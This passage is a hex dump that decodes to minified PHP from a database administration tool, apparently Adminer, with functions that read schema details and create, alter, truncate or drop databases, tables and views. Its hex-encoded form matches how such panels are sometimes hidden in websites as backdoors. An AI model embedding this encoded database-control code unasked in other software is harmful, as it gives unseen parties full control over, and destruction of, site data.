3B 7D 66 75 6E 63 74 69 6F 6E 0A 65 6E 67 69 6E 65 73 28 29 7B 24 4B 3D
61 72 72 61 79 28 29 3B 66 6F 72 65 61 63 68 28 67 65 74 5F 72 6F 77 73
28 22 53 48 4F 57 20 45 4E 47 49 4E 45 53 22 29 61 73 24 4C 29 7B 69 66
28 65 72 65 67 28 22 59 45 53 7C 44 45 46 41 55 4C 54 22 2C 24 4C 5B 22
53 75 70 70 6F 72 74 22 5D 29 29 24 4B 5B 5D 3D 24 4C 5B 22 45 6E 67 69
6E 65 22 5D 3B 7D 72 65 74 75 72 6E 24 4B 3B 7D 66 75 6E 63 74 69 6F 6E
0A 6C 6F 67 67 65 64 5F 75 73 65 72 28 29 7B 67 6C 6F 62 61 6C 24 67 3B
72 65 74 75 72 6E 24 67 2D 3E 72 65 73 75 6C 74 28 22 53 45 4C 45 43 54
20 55 53 45 52 28 29 22 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 74 61 62 6C
65 73 5F 6C 69 73 74 28 29 7B 67 6C 6F 62 61 6C 24 67 3B 72 65 74 75 72
6E 0A 67 65 74 5F 6B 65 79 5F 76 61 6C 73 28 22 53 48 4F 57 22 2E 28 24
67 2D 3E 73 65 72 76 65 72 5F 69 6E 66 6F 3E 3D 35 3F 22 20 46 55 4C 4C
22 3A 22 22 29 2E 22 20 54 41 42 4C 45 53 22 29 3B 7D 66 75 6E 63 74 69
6F 6E 0A 63 6F 75 6E 74 5F 74 61 62 6C 65 73 28 24 6A 29 7B 24 4B 3D 61
72 72 61 79 28 29 3B 66 6F 72 65 61 63 68 28 24 6A 0A 61 73 24 6B 29 24
4B 5B 24 6B 5D 3D 63 6F 75 6E 74 28 67 65 74 5F 76 61 6C 73 28 22 53 48
4F 57 20 54 41 42 4C 45 53 20 49 4E 20 22 2E 69 64 66 5F 65 73 63 61 70
65 28 24 6B 29 29 29 3B 72 65 74 75 72 6E 24 4B 3B 7D 66 75 6E 63 74 69
6F 6E 0A 74 61 62 6C 65 5F 73 74 61 74 75 73 28 24 45 3D 22 22 2C 24 65
63 3D 66 61 6C 73 65 29 7B 67 6C 6F 62 61 6C 24 67 3B 24 4B 3D 61 72 72
61 79 28 29 3B 66 6F 72 65 61 63 68 28 67 65 74 5F 72 6F 77 73 28 24 65
63 26 26 24 67 2D 3E 73 65 72 76 65 72 5F 69 6E 66 6F 3E 3D 35 3F 22 53
45 4C 45 43 54 20 54 41 42 4C 45 5F 4E 41 4D 45 20 41 53 20 4E 61 6D 65
2C 20 45 6E 67 69 6E 65 2C 20 54 41 42 4C 45 5F 43 4F 4D 4D 45 4E 54 20
41 53 20 43 6F 6D 6D 65 6E 74 20 46 52 4F 4D 20 69 6E 66 6F 72 6D 61 74
69 6F 6E 5F 73 63 68 65 6D 61 2E 54 41 42 4C 45 53 20 57 48 45 52 45 20
54 41 42 4C 45 5F 53 43 48 45 4D 41 20 3D 20 44 41 54 41 42 41 53 45 28
29 20 22 2E 28 24 45 21 3D 22 22 3F 22 41 4E 44 20 54 41 42 4C 45 5F 4E
41 4D 45 20 3D 20 22 2E 71 28 24 45 29 3A 22 4F 52 44 45 52 20 42 59 20
4E 61 6D 65 22 29 3A 22 53 48 4F 57 20 54 41 42 4C 45 20 53 54 41 54 55
53 22 2E 28 24 45 21 3D 22 22 3F 22 20 4C 49 4B 45 20 22 2E 71 28 61 64
64 63 73 6C 61 73 68 65 73 28 24 45 2C 22 25 5F 5C 5C 22 29 29 3A 22 22
29 29 61 73 24 4C 29 7B 69 66 28 24 4C 5B 22 45 6E 67 69 6E 65 22 5D 3D
3D 22 49 6E 6E 6F 44 42 22 29 24 4C 5B 22 43 6F 6D 6D 65 6E 74 22 5D 3D
70 72 65 67 5F 72 65 70 6C 61 63 65 28 27 7E 28 3F 3A 28 2E 2B 29 3B 20
29 3F 49 6E 6E 6F 44 42 20 66 72 65 65 3A 20 2E 2A 7E 27 2C 27 5C 5C 31
27 2C 24 4C 5B 22 43 6F 6D 6D 65 6E 74 22 5D 29 3B 69 66 28 21 69 73 73
65 74 28 24 4C 5B 22 45 6E 67 69 6E 65 22 5D 29 29 24 4C 5B 22 43 6F 6D
6D 65 6E 74 22 5D 3D 22 22 3B 69 66 28 24 45 21 3D 22 22 29 72 65 74 75
72 6E 24 4C 3B 24 4B 5B 24 4C 5B 22 4E 61 6D 65 22 5D 5D 3D 24 4C 3B 7D
72 65 74 75 72 6E 24 4B 3B 7D 66 75 6E 63 74 69 6F 6E 0A 69 73 5F 76 69
65 77 28 24 52 29 7B 72 65 74 75 72 6E 24 52 5B 22 45 6E 67 69 6E 65 22
5D 3D 3D 3D 6E 75 6C 6C 3B 7D 66 75 6E 63 74 69 6F 6E 0A 66 6B 5F 73 75
70 70 6F 72 74 28 24 52 29 7B 72 65 74 75 72 6E 0A 65 72 65 67 69 28 22
49 6E 6E 6F 44 42 7C 49 42 4D 44 42 32 49 22 2C 24 52 5B 22 45 6E 67 69
6E 65 22 5D 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 66 69 65 6C 64 73 28 24
51 29 7B 24 4B 3D 61 72 72 61 79 28 29 3B 66 6F 72 65 61 63 68 28 67 65
74 5F 72 6F 77 73 28 22 53 48 4F 57 20 46 55 4C 4C 20 43 4F 4C 55 4D 4E
53 20 46 52 4F 4D 20 22 2E 74 61 62 6C 65 28 24 51 29 29 61 73 24 4C 29
7B 70 72 65 67 5F 6D 61 74 63 68 28 27 7E 5E 28 5B 5E 28 20 5D 2B 29 28
3F 3A 5C 5C 28 28 2E 2B 29 5C 5C 29 29 3F 28 20 75 6E 73 69 67 6E 65 64
29 3F 28 20 7A 65 72 6F 66 69 6C 6C 29 3F 24 7E 27 2C 24 4C 5B 22 54 79
70 65 22 5D 2C 24 42 29 3B 24 4B 5B 24 4C 5B 22 46 69 65 6C 64 22 5D 5D
3D 61 72 72 61 79 28 22 66 69 65 6C 64 22 3D 3E 24 4C 5B 22 46 69 65 6C
64 22 5D 2C 22 66 75 6C 6C 5F 74 79 70 65 22 3D 3E 24 4C 5B 22 54 79 70
65 22 5D 2C 22 74 79 70 65 22 3D 3E 24 42 5B 31 5D 2C 22 6C 65 6E 67 74
68 22 3D 3E 24 42 5B 32 5D 2C 22 75 6E 73 69 67 6E 65 64 22 3D 3E 6C 74
72 69 6D 28 24 42 5B 33 5D 2E 24 42 5B 34 5D 29 2C 22 64 65 66 61 75 6C
74 22 3D 3E 28 24 4C 5B 22 44 65 66 61 75 6C 74 22 5D 21 3D 22 22 7C 7C
65 72 65 67 28 22 63 68 61 72 7C 73 65 74 22 2C 24 42 5B 31 5D 29 3F 24
4C 5B 22 44 65 66 61 75 6C 74 22 5D 3A 6E 75 6C 6C 29 2C 22 6E 75 6C 6C
22 3D 3E 28 24 4C 5B 22 4E 75 6C 6C 22 5D 3D 3D 22 59 45 53 22 29 2C 22
61 75 74 6F 5F 69 6E 63 72 65 6D 65 6E 74 22 3D 3E 28 24 4C 5B 22 45 78
74 72 61 22 5D 3D 3D 22 61 75 74 6F 5F 69 6E 63 72 65 6D 65 6E 74 22 29
2C 22 6F 6E 5F 75 70 64 61 74 65 22 3D 3E 28 65 72 65 67 69 28 27 5E 6F
6E 20 75 70 64 61 74 65 20 28 2E 2B 29 27 2C 24 4C 5B 22 45 78 74 72 61
22 5D 2C 24 42 29 3F 24 42 5B 31 5D 3A 22 22 29 2C 22 63 6F 6C 6C 61 74
69 6F 6E 22 3D 3E 24 4C 5B 22 43 6F 6C 6C 61 74 69 6F 6E 22 5D 2C 22 70
72 69 76 69 6C 65 67 65 73 22 3D 3E 61 72 72 61 79 5F 66 6C 69 70 28 65
78 70 6C 6F 64 65 28 22 2C 22 2C 24 4C 5B 22 50 72 69 76 69 6C 65 67 65
73 22 5D 29 29 2C 22 63 6F 6D 6D 65 6E 74 22 3D 3E 24 4C 5B 22 43 6F 6D
6D 65 6E 74 22 5D 2C 22 70 72 69 6D 61 72 79 22 3D 3E 28 24 4C 5B 22 4B
65 79 22 5D 3D 3D 22 50 52 49 22 29 2C 29 3B 7D 72 65 74 75 72 6E 24 4B
3B 7D 66 75 6E 63 74 69 6F 6E 0A 69 6E 64 65 78 65 73 28 24 51 2C 24 68
3D 6E 75 6C 6C 29 7B 24 4B 3D 61 72 72 61 79 28 29 3B 66 6F 72 65 61 63
68 28 67 65 74 5F 72 6F 77 73 28 22 53 48 4F 57 20 49 4E 44 45 58 20 46
52 4F 4D 20 22 2E 74 61 62 6C 65 28 24 51 29 2C 24 68 29 61 73 24 4C 29
7B 24 4B 5B 24 4C 5B 22 4B 65 79 5F 6E 61 6D 65 22 5D 5D 5B 22 74 79 70
65 22 5D 3D 28 24 4C 5B 22 4B 65 79 5F 6E 61 6D 65 22 5D 3D 3D 22 50 52
49 4D 41 52 59 22 3F 22 50 52 49 4D 41 52 59 22 3A 28 24 4C 5B 22 49 6E
64 65 78 5F 74 79 70 65 22 5D 3D 3D 22 46 55 4C 4C 54 45 58 54 22 3F 22
46 55 4C 4C 54 45 58 54 22 3A 28 24 4C 5B 22 4E 6F 6E 5F 75 6E 69 71 75
65 22 5D 3F 22 49 4E 44 45 58 22 3A 22 55 4E 49 51 55 45 22 29 29 29 3B
24 4B 5B 24 4C 5B 22 4B 65 79 5F 6E 61 6D 65 22 5D 5D 5B 22 63 6F 6C 75
6D 6E 73 22 5D 5B 5D 3D 24 4C 5B 22 43 6F 6C 75 6D 6E 5F 6E 61 6D 65 22
5D 3B 24 4B 5B 24 4C 5B 22 4B 65 79 5F 6E 61 6D 65 22 5D 5D 5B 22 6C 65
6E 67 74 68 73 22 5D 5B 5D 3D 24 4C 5B 22 53 75 62 5F 70 61 72 74 22 5D
3B 24 4B 5B 24 4C 5B 22 4B 65 79 5F 6E 61 6D 65 22 5D 5D 5B 22 64 65 73
63 73 22 5D 5B 5D 3D 6E 75 6C 6C 3B 7D 72 65 74 75 72 6E 24 4B 3B 7D 66
75 6E 63 74 69 6F 6E 0A 66 6F 72 65 69 67 6E 5F 6B 65 79 73 28 24 51 29
7B 67 6C 6F 62 61 6C 24 67 2C 24 4F 64 3B 73 74 61 74 69 63 24 47 3D 27
60 28 3F 3A 5B 5E 60 5D 7C 60 60 29 2B 60 27 3B 24 4B 3D 61 72 72 61 79
28 29 3B 24 65 62 3D 24 67 2D 3E 72 65 73 75 6C 74 28 22 53 48 4F 57 20
43 52 45 41 54 45 20 54 41 42 4C 45 20 22 2E 74 61 62 6C 65 28 24 51 29
2C 31 29 3B 69 66 28 24 65 62 29 7B 70 72 65 67 5F 6D 61 74 63 68 5F 61
6C 6C 28 22 7E 43 4F 4E 53 54 52 41 49 4E 54 20 28 24 47 29 20 46 4F 52
45 49 47 4E 20 4B 45 59 20 5C 5C 28 28 28 3F 3A 24 47 2C 3F 20 3F 29 2B
29 5C 5C 29 20 52 45 46 45 52 45 4E 43 45 53 20 28 24 47 29 28 3F 3A 5C
5C 2E 28 24 47 29 29 3F 20 5C 5C 28 28 28 3F 3A 24 47 2C 3F 20 3F 29 2B
29 5C 5C 29 28 3F 3A 20 4F 4E 20 44 45 4C 45 54 45 20 28 24 4F 64 29 29
3F 28 3F 3A 20 4F 4E 20 55 50 44 41 54 45 20 28 24 4F 64 29 29 3F 7E 22
2C 24 65 62 2C 24 6C 64 2C 50 52 45 47 5F 53 45 54 5F 4F 52 44 45 52 29
3B 66 6F 72 65 61 63 68 28 24 6C 64 0A 61 73 24 42 29 7B 70 72 65 67 5F
6D 61 74 63 68 5F 61 6C 6C 28 22 7E 24 47 7E 22 2C 24 42 5B 32 5D 2C 24
6A 66 29 3B 70 72 65 67 5F 6D 61 74 63 68 5F 61 6C 6C 28 22 7E 24 47 7E
22 2C 24 42 5B 35 5D 2C 24 45 66 29 3B 24 4B 5B 69 64 66 5F 75 6E 65 73
63 61 70 65 28 24 42 5B 31 5D 29 5D 3D 61 72 72 61 79 28 22 64 62 22 3D
3E 69 64 66 5F 75 6E 65 73 63 61 70 65 28 24 42 5B 34 5D 21 3D 22 22 3F
24 42 5B 33 5D 3A 24 42 5B 34 5D 29 2C 22 74 61 62 6C 65 22 3D 3E 69 64
66 5F 75 6E 65 73 63 61 70 65 28 24 42 5B 34 5D 21 3D 22 22 3F 24 42 5B
34 5D 3A 24 42 5B 33 5D 29 2C 22 73 6F 75 72 63 65 22 3D 3E 61 72 72 61
79 5F 6D 61 70 28 27 69 64 66 5F 75 6E 65 73 63 61 70 65 27 2C 24 6A 66
5B 30 5D 29 2C 22 74 61 72 67 65 74 22 3D 3E 61 72 72 61 79 5F 6D 61 70
28 27 69 64 66 5F 75 6E 65 73 63 61 70 65 27 2C 24 45 66 5B 30 5D 29 2C
22 6F 6E 5F 64 65 6C 65 74 65 22 3D 3E 28 24 42 5B 36 5D 3F 24 42 5B 36
5D 3A 22 52 45 53 54 52 49 43 54 22 29 2C 22 6F 6E 5F 75 70 64 61 74 65
22 3D 3E 28 24 42 5B 37 5D 3F 24 42 5B 37 5D 3A 22 52 45 53 54 52 49 43
54 22 29 2C 29 3B 7D 7D 72 65 74 75 72 6E 24 4B 3B 7D 66 75 6E 63 74 69
6F 6E 0A 76 69 65 77 28 24 45 29 7B 67 6C 6F 62 61 6C 24 67 3B 72 65 74
75 72 6E 0A 61 72 72 61 79 28 22 73 65 6C 65 63 74 22 3D 3E 70 72 65 67
5F 72 65 70 6C 61 63 65 28 27 7E 5E 28 3F 3A 5B 5E 60 5D 7C 60 5B 5E 60
5D 2A 60 29 2A 5C 5C 73 2B 41 53 5C 5C 73 2B 7E 69 73 55 27 2C 27 27 2C
24 67 2D 3E 72 65 73 75 6C 74 28 22 53 48 4F 57 20 43 52 45 41 54 45 20
56 49 45 57 20 22 2E 74 61 62 6C 65 28 24 45 29 2C 31 29 29 29 3B 7D 66
75 6E 63 74 69 6F 6E 0A 63 6F 6C 6C 61 74 69 6F 6E 73 28 29 7B 24 4B 3D
61 72 72 61 79 28 29 3B 66 6F 72 65 61 63 68 28 67 65 74 5F 72 6F 77 73
28 22 53 48 4F 57 20 43 4F 4C 4C 41 54 49 4F 4E 22 29 61 73 24 4C 29 7B
69 66 28 24 4C 5B 22 44 65 66 61 75 6C 74 22 5D 29 24 4B 5B 24 4C 5B 22
43 68 61 72 73 65 74 22 5D 5D 5B 2D 31 5D 3D 24 4C 5B 22 43 6F 6C 6C 61
74 69 6F 6E 22 5D 3B 65 6C 73 65 24 4B 5B 24 4C 5B 22 43 68 61 72 73 65
74 22 5D 5D 5B 5D 3D 24 4C 5B 22 43 6F 6C 6C 61 74 69 6F 6E 22 5D 3B 7D
6B 73 6F 72 74 28 24 4B 29 3B 66 6F 72 65 61 63 68 28 24 4B 0A 61 73 24
79 3D 3E 24 58 29 61 73 6F 72 74 28 24 4B 5B 24 79 5D 29 3B 72 65 74 75
72 6E 24 4B 3B 7D 66 75 6E 63 74 69 6F 6E 0A 69 6E 66 6F 72 6D 61 74 69
6F 6E 5F 73 63 68 65 6D 61 28 24 6B 29 7B 67 6C 6F 62 61 6C 24 67 3B 72
65 74 75 72 6E 28 24 67 2D 3E 73 65 72 76 65 72 5F 69 6E 66 6F 3E 3D 35
26 26 24 6B 3D 3D 22 69 6E 66 6F 72 6D 61 74 69 6F 6E 5F 73 63 68 65 6D
61 22 29 7C 7C 28 24 67 2D 3E 73 65 72 76 65 72 5F 69 6E 66 6F 3E 3D 35
2E 35 26 26 24 6B 3D 3D 22 70 65 72 66 6F 72 6D 61 6E 63 65 5F 73 63 68
65 6D 61 22 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 65 72 72 6F 72 28 29 7B
67 6C 6F 62 61 6C 24 67 3B 72 65 74 75 72 6E 0A 68 28 70 72 65 67 5F 72
65 70 6C 61 63 65 28 27 7E 5E 59 6F 75 20 68 61 76 65 20 61 6E 20 65 72
72 6F 72 2E 2A 73 79 6E 74 61 78 20 74 6F 20 75 73 65 7E 55 27 2C 22 53
79 6E 74 61 78 20 65 72 72 6F 72 22 2C 24 67 2D 3E 65 72 72 6F 72 29 29
3B 7D 66 75 6E 63 74 69 6F 6E 0A 65 72 72 6F 72 5F 6C 69 6E 65 28 29 7B
67 6C 6F 62 61 6C 24 67 3B 69 66 28 65 72 65 67 28 27 20 61 74 20 6C 69
6E 65 20 28 5B 30 2D 39 5D 2B 29 24 27 2C 24 67 2D 3E 65 72 72 6F 72 2C
24 4E 65 29 29 72 65 74 75 72 6E 24 4E 65 5B 31 5D 2D 31 3B 7D 66 75 6E
63 74 69 6F 6E 0A 63 72 65 61 74 65 5F 64 61 74 61 62 61 73 65 28 24 6B
2C 24 52 61 29 7B 73 65 74 5F 73 65 73 73 69 6F 6E 28 22 64 62 73 22 2C
6E 75 6C 6C 29 3B 72 65 74 75 72 6E 0A 71 75 65 72 69 65 73 28 22 43 52
45 41 54 45 20 44 41 54 41 42 41 53 45 20 22 2E 69 64 66 5F 65 73 63 61
70 65 28 24 6B 29 2E 28 24 52 61 3F 22 20 43 4F 4C 4C 41 54 45 20 22 2E
71 28 24 52 61 29 3A 22 22 29 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 64 72
6F 70 5F 64 61 74 61 62 61 73 65 73 28 24 6A 29 7B 72 65 73 74 61 72 74
5F 73 65 73 73 69 6F 6E 28 29 3B 73 65 74 5F 73 65 73 73 69 6F 6E 28 22
64 62 73 22 2C 6E 75 6C 6C 29 3B 72 65 74 75 72 6E 0A 61 70 70 6C 79 5F
71 75 65 72 69 65 73 28 22 44 52 4F 50 20 44 41 54 41 42 41 53 45 22 2C
24 6A 2C 27 69 64 66 5F 65 73 63 61 70 65 27 29 3B 7D 66 75 6E 63 74 69
6F 6E 0A 72 65 6E 61 6D 65 5F 64 61 74 61 62 61 73 65 28 24 45 2C 24 52
61 29 7B 69 66 28 63 72 65 61 74 65 5F 64 61 74 61 62 61 73 65 28 24 45
2C 24 52 61 29 29 7B 24 4F 65 3D 61 72 72 61 79 28 29 3B 66 6F 72 65 61
63 68 28 74 61 62 6C 65 73 5F 6C 69 73 74 28 29 61 73 24 51 3D 3E 24 55
29 24 4F 65 5B 5D 3D 74 61 62 6C 65 28 24 51 29 2E 22 20 54 4F 20 22 2E
69 64 66 5F 65 73 63 61 70 65 28 24 45 29 2E 22 2E 22 2E 74 61 62 6C 65
28 24 51 29 3B 69 66 28 21 24 4F 65 7C 7C 71 75 65 72 69 65 73 28 22 52
45 4E 41 4D 45 20 54 41 42 4C 45 20 22 2E 69 6D 70 6C 6F 64 65 28 22 2C
20 22 2C 24 4F 65 29 29 29 7B 71 75 65 72 69 65 73 28 22 44 52 4F 50 20
44 41 54 41 42 41 53 45 20 22 2E 69 64 66 5F 65 73 63 61 70 65 28 44 42
29 29 3B 72 65 74 75 72 6E 0A 74 72 75 65 3B 7D 7D 72 65 74 75 72 6E 0A
66 61 6C 73 65 3B 7D 66 75 6E 63 74 69 6F 6E 0A 61 75 74 6F 5F 69 6E 63
72 65 6D 65 6E 74 28 29 7B 24 77 61 3D 22 20 50 52 49 4D 41 52 59 20 4B
45 59 22 3B 69 66 28 24 5F 47 45 54 5B 22 63 72 65 61 74 65 22 5D 21 3D
22 22 26 26 24 5F 50 4F 53 54 5B 22 61 75 74 6F 5F 69 6E 63 72 65 6D 65
6E 74 5F 63 6F 6C 22 5D 29 7B 66 6F 72 65 61 63 68 28 69 6E 64 65 78 65
73 28 24 5F 47 45 54 5B 22 63 72 65 61 74 65 22 5D 29 61 73 24 75 29 7B
69 66 28 69 6E 5F 61 72 72 61 79 28 24 5F 50 4F 53 54 5B 22 66 69 65 6C
64 73 22 5D 5B 24 5F 50 4F 53 54 5B 22 61 75 74 6F 5F 69 6E 63 72 65 6D
65 6E 74 5F 63 6F 6C 22 5D 5D 5B 22 6F 72 69 67 22 5D 2C 24 75 5B 22 63
6F 6C 75 6D 6E 73 22 5D 2C 74 72 75 65 29 29 7B 24 77 61 3D 22 22 3B 62
72 65 61 6B 3B 7D 69 66 28 24 75 5B 22 74 79 70 65 22 5D 3D 3D 22 50 52
49 4D 41 52 59 22 29 24 77 61 3D 22 20 55 4E 49 51 55 45 22 3B 7D 7D 72
65 74 75 72 6E 22 20 41 55 54 4F 5F 49 4E 43 52 45 4D 45 4E 54 24 77 61
22 3B 7D 66 75 6E 63 74 69 6F 6E 0A 61 6C 74 65 72 5F 74 61 62 6C 65 28
24 51 2C 24 45 2C 24 6E 2C 24 6D 63 2C 24 56 61 2C 24 4E 62 2C 24 52 61
2C 24 76 61 2C 24 6B 65 29 7B 24 72 61 3D 61 72 72 61 79 28 29 3B 66 6F
72 65 61 63 68 28 24 6E 0A 61 73 24 6D 29 24 72 61 5B 5D 3D 28 24 6D 5B
31 5D 3F 28 24 51 21 3D 22 22 3F 28 24 6D 5B 30 5D 21 3D 22 22 3F 22 43
48 41 4E 47 45 20 22 2E 69 64 66 5F 65 73 63 61 70 65 28 24 6D 5B 30 5D
29 3A 22 41 44 44 22 29 3A 22 20 22 29 2E 22 20 22 2E 69 6D 70 6C 6F 64
65 28 24 6D 5B 31 5D 29 2E 28 24 51 21 3D 22 22 3F 24 6D 5B 32 5D 3A 22
22 29 3A 22 44 52 4F 50 20 22 2E 69 64 66 5F 65 73 63 61 70 65 28 24 6D
5B 30 5D 29 29 3B 24 72 61 3D 61 72 72 61 79 5F 6D 65 72 67 65 28 24 72
61 2C 24 6D 63 29 3B 24 6E 66 3D 22 43 4F 4D 4D 45 4E 54 3D 22 2E 71 28
24 56 61 29 2E 28 24 4E 62 3F 22 20 45 4E 47 49 4E 45 3D 22 2E 71 28 24
4E 62 29 3A 22 22 29 2E 28 24 52 61 3F 22 20 43 4F 4C 4C 41 54 45 20 22
2E 71 28 24 52 61 29 3A 22 22 29 2E 28 24 76 61 21 3D 22 22 3F 22 20 41
55 54 4F 5F 49 4E 43 52 45 4D 45 4E 54 3D 24 76 61 22 3A 22 22 29 2E 24
6B 65 3B 69 66 28 24 51 3D 3D 22 22 29 72 65 74 75 72 6E 0A 71 75 65 72
69 65 73 28 22 43 52 45 41 54 45 20 54 41 42 4C 45 20 22 2E 74 61 62 6C
65 28 24 45 29 2E 22 20 28 5C 6E 22 2E 69 6D 70 6C 6F 64 65 28 22 2C 5C
6E 22 2C 24 72 61 29 2E 22 5C 6E 29 20 24 6E 66 22 29 3B 69 66 28 24 51
21 3D 24 45 29 24 72 61 5B 5D 3D 22 52 45 4E 41 4D 45 20 54 4F 20 22 2E
74 61 62 6C 65 28 24 45 29 3B 24 72 61 5B 5D 3D 24 6E 66 3B 72 65 74 75
72 6E 0A 71 75 65 72 69 65 73 28 22 41 4C 54 45 52 20 54 41 42 4C 45 20
22 2E 74 61 62 6C 65 28 24 51 29 2E 22 5C 6E 22 2E 69 6D 70 6C 6F 64 65
28 22 2C 5C 6E 22 2C 24 72 61 29 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 61
6C 74 65 72 5F 69 6E 64 65 78 65 73 28 24 51 2C 24 72 61 29 7B 66 6F 72
65 61 63 68 28 24 72 61 0A 61 73 24 79 3D 3E 24 58 29 24 72 61 5B 24 79
5D 3D 28 24 58 5B 32 5D 3D 3D 22 44 52 4F 50 22 3F 22 5C 6E 44 52 4F 50
20 49 4E 44 45 58 20 22 2E 69 64 66 5F 65 73 63 61 70 65 28 24 58 5B 31
5D 29 3A 22 5C 6E 41 44 44 20 24 58 5B 30 5D 20 22 2E 28 24 58 5B 30 5D
3D 3D 22 50 52 49 4D 41 52 59 22 3F 22 4B 45 59 20 22 3A 22 22 29 2E 28
24 58 5B 31 5D 21 3D 22 22 3F 69 64 66 5F 65 73 63 61 70 65 28 24 58 5B
31 5D 29 2E 22 20 22 3A 22 22 29 2E 24 58 5B 32 5D 29 3B 72 65 74 75 72
6E 0A 71 75 65 72 69 65 73 28 22 41 4C 54 45 52 20 54 41 42 4C 45 20 22
2E 74 61 62 6C 65 28 24 51 29 2E 69 6D 70 6C 6F 64 65 28 22 2C 22 2C 24
72 61 29 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 74 72 75 6E 63 61 74 65 5F
74 61 62 6C 65 73 28 24 53 29 7B 72 65 74 75 72 6E 0A 61 70 70 6C 79 5F
71 75 65 72 69 65 73 28 22 54 52 55 4E 43 41 54 45 20 54 41 42 4C 45 22
2C 24 53 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 64 72 6F 70 5F 76 69 65 77
73 28 24 73 67 29 7B 72 65 74 75 72 6E 0A 71 75 65 72 69 65 73 28 22 44
52 4F 50 20 56 49 45 57 20 22 2E 69 6D 70 6C 6F 64 65 28 22 2C 20 22 2C
61 72 72 61 79 5F 6D 61 70 28 27 74 61 62 6C 65 27 2C 24 73 67 29 29 29
3B 7D 66 75 6E 63 74 69 6F 6E 0A 64 72 6F 70 5F 74 61 62 6C 65 73 28 24
53 29 7B 72 65 74 75 72 6E 0A 71 75 65 72 69 65 73 28 22 44 52 4F 50 20
54 41 42 4C 45 20 22 2E 69 6D 70 6C 6F 64 65 28 22 2C 20 22 2C 61 72 72
61 79 5F 6D 61 70 28 27 74 61 62 6C 65 27 2C 24 53 29 29 29 3B 7D 66 75
6E 63 74 69 6F 6E 0A 6D 6F 76 65 5F 74 61 62 6C 65 73 28 24 53 2C 24 73
67 2C 24 45 66 29 7B 24 4F 65 3D 61 72 72 61 79 28 29 3B 66 6F 72 65 61
63 68 28 61 72 72 61 79 5F 6D 65 72 67 65 28 24 53 2C 24 73 67 29 61 73
24 51 29 24 4F 65 5B 5D 3D 74 61 62 6C 65 28 24 51 29 2E 22 20 54 4F 20
22 2E 69 64 66 5F 65 73 63 61 70 65 28 24 45 66 29 2E 22 2E 22 2E 74 61
62 6C 65 28 24 51 29 3B 72 65 74 75 72 6E 0A 71 75 65 72 69 65 73 28 22
52 45 4E 41 4D 45 20 54 41 42 4C 45 20 22 2E 69 6D 70 6C 6F 64 65 28 22
2C 20 22 2C 24 4F 65 29 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 63 6F 70 79
5F 74 61 62 6C 65 73 28 24 53 2C 24 73 67 2C 24 45 66 29 7B 71 75 65 72
69 65 73 28 22 53 45 54 20 73 71 6C 5F 6D 6F 64 65 20 3D 20 27 4E 4F 5F
41 55 54 4F 5F 56 41 4C 55 45 5F 4F 4E 5F 5A 45 52 4F 27 22 29 3B 66 6F
72 65 61 63 68 28 24 53 0A 61 73 24 51 29 7B 24 45 3D 28 24 45 66 3D 3D
44 42 3F 74 61 62 6C 65 28 22 63 6F 70 79 5F 24 51 22 29 3A 69 64 66 5F
65 73 63 61 70 65 28 24 45 66 29 2E 22 2E 22 2E 74 61 62 6C 65 28 24 51
29 29 3B 69 66 28 21 71 75 65 72 69 65 73 28 22 44 52 4F 50 20 54 41 42
4C 45 20 49 46 20 45 58 49 53 54 53 20 24 45 22 29 7C 7C 21 71 75 65 72
69 65 73 28 22 43 52 45 41 54 45 20 54 41 42 4C 45 20 24 45 20 4C 49 4B
45 20 22 2E 74 61 62 6C 65 28 24 51 29 29 7C 7C 21 71 75 65 72 69 65 73
28 22 49 4E 53 45 52 54 20 49 4E 54 4F 20 24 45 20 53 45 4C 45 43 54 20
2A 20 46 52 4F 4D 20 22 2E 74 61 62 6C 65 28 24 51 29 29 29 72 65 74 75
72 6E 0A 66 61 6C 73 65 3B 7D 66 6F 72 65 61 63 68 28 24 73 67 0A 61 73
24 51 29 7B 24 45 3D 28 24 45 66 3D 3D 44 42 3F 74 61 62 6C 65 28 22 63
6F 70 79 5F 24 51 22 29 3A 69 64 66 5F 65 73 63 61 70 65 28 24 45 66 29
2E 22 2E 22 2E 74 61 62 6C 65 28 24 51 29 29 3B 24 72 67 3D 76 69 65 77
28 24 51 29 3B 69 66 28 21 71 75 65 72 69 65 73 28 22 44 52 4F 50 20 56
49 45 57 20 49 46 20 45 58 49 53 54 53 20 24 45 22 29 7C 7C 21 71 75 65
72 69 65 73 28 22 43 52 45 41 54 45 20 56 49 45 57 20 24 45 20 41 53 20
24 72 67 5B 73 65 6C 65 63 74 5D 22 29 29 72 65 74 75 72 6E 0A 66 61 6C
73 65 3B 7D 72 65 74 75 72 6E 0A 74 72 75 65 3B 7D 66 75 6E 63 74 69 6F
6E 0A 74 72 69 67 67 65 72 28 24 45 29 7B 69 66 28 24 45 3D 3D 22 22 29
72 65 74 75 72 6E 0A 61 72 72 61 79 28 29 3B 24 4D 3D 67 65 74 5F 72 6F
77 73 28 22 53 48 4F 57 20 54 52 49 47 47 45 52 53 20 57 48 45 52 45 20
60 54 72 69 67 67 65 72 60 20 3D 20 22 2E 71 28 24 45 29 29 3B 72 65 74
75 72 6E 0A 72 65 73 65 74 28 24 4D 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A
74 72 69 67 67 65 72 73 28 24 51 29 7B 24 4B 3D 61 72 72 61 79 28 29 3B
66 6F 72 65 61 63 68 28 67 65 74 5F 72 6F 77 73 28 22 53 48 4F 57 20 54
52 49 47 47 45 52 53 20 4C 49 4B 45 20 22 2E 71 28 61 64 64 63 73 6C 61
73 68 65 73 28 24 51 2C 22 25 5F 5C 5C 22 29 29 29 61 73 24 4C 29 24 4B
5B 24 4C 5B 22 54 72 69 67 67 65 72 22 5D 5D 3D 61 72 72 61 79 28 24 4C
5B 22 54 69 6D 69 6E 67 22 5D 2C 24 4C 5B 22 45 76 65 6E 74 22 5D 29 3B
72 65 74 75 72 6E 24 4B 3B 7D 66 75 6E 63 74 69 6F 6E 0A 74 72 69 67 67
65 72 5F 6F 70 74 69 6F 6E 73 28 29 7B 72 65 74 75 72 6E 0A 61 72 72 61
79 28 22 54 69 6D 69 6E 67 22 3D 3E 61 72 72 61 79 28 22 42 45 46 4F 52
